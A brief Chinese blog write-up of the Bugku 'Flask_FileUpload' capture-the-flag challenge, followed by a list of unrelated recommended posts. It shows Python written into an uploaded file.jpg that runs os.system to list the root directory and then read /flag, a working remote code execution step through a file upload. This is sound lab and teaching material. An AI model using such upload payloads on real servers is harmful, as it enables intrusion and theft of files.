Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
zhangchaoxies9 分钟前
如何检测SQL注入风险_利用模糊测试技术发现漏洞java_nn14 分钟前
一文了解前端技术发现一只大呆瓜17 分钟前
深度解析 Rollup 配置与 Vite 生产构建流程mooyuan天天27 分钟前
AI辅助生成靶场源码指南：大模型自动化生成靶场skills技巧详解Luca_kill34 分钟前
MCP数据采集革命：从传统爬虫到智能代理的技术进化zhangchaoxies39 分钟前
CSS如何实现响应式弹性网格布局_配合media query修改flex-wrap属性小码哥_常1 小时前
安卓黑科技：让手机成为你的“跌倒保镖”ZC跨境爬虫1 小时前
Scrapy分布式爬虫（单机模拟多节点）：豆瓣Top250项目设置与数据流全解析小李子呢02111 小时前
前端八股Vue---Vue2和Vue3的区别，set up的用法sg_knight2 小时前
设计模式实战：命令模式（Command）